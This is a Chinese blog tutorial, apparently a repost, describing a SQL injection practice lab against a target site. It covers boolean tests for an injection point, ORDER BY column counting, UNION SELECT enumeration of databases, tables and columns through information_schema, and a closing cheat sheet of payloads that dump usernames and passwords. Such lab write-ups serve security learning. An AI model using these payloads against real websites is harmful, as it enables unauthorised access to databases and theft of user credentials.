Sql注入实验一

Sql注入实验一

青春一经典当即永不再赎

不怕自己笨,就怕那些比自己笨的人比自己还要努力

Sql 注入 实验 一

在得到靶机的情况下,寻找带有参数的地方就有一定有注入点。
在这里插入图片描述

开干,首先是判断注入点
在这里插入图片描述

payload如下:

//       数字型判断
 ?id=1 and 1=1
 ?id=1 and 1=2
//       字符型判断
 ?id=1' and '1'='1
 ?id=1' and '1'='2

这里是数字型判断

and 1=1 的时候返回正常
在这里插入图片描述
and 1=2 的时候返回不正常

在这里插入图片描述

由此可见这里存在注入点

找到注入点后,我们得 得到 字段长度
这里需要用到

order by  数字

应为是猜解,数字需要合理输入,我一般从1开始 按感觉走。

这里我测试了是<16 ,也就是 1-15
在这里插入图片描述

在得到字段长度后,我们现在就需要获取到数据库名,但是在这之前我们需要查询有那些显示在前端,这里需要运用到联合查询。

union select 查询到的字段

在这里插入图片描述
查询到这些在前端显示,随便替换个进行数据库查询

• database() 返回当前网站使用数据库的名称

• user() 将会返回当前查询的用户名

• version() 获取当前数据库版本

• @@version_compile_os 获取当前操作系统

• @@datadir 获取当前数据库路径

当前数据库 是cms
在这里插入图片描述

因为有的情况下,我们得到的题目是需要获取其他数据库 得到flag ,我们也就需要获取到其他数据库名

group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

那么当前就需要爆当前数据库的表了

group_concat(table_name) from information_schema.tables where table_schema='cms'

在这里插入图片描述

现在就需要进行猜解字段了,
对 这个表进行猜解 cms_users

group_concat(column_name) from information_schema.columns where table_name='cms_user'

在这里插入图片描述

最后一步爆列 内容

在这里插入图片描述
当然也可以查询单个表

在这里插入图片描述

总结


order by –+ 判断字段数目
 
union select –+ 联合查询收集信息
 
id=1′ and 1=2 UNION SELECT 1,2,database() –+ 查询当前数据库
 
id=1′ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+查询所有数据库
 
id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+ 查询表名
 
id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+ 查询列名
 
id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查询字段值

负重前行

猜你喜欢

转载自blog.csdn.net/Nocker888/article/details/103004785
今日推荐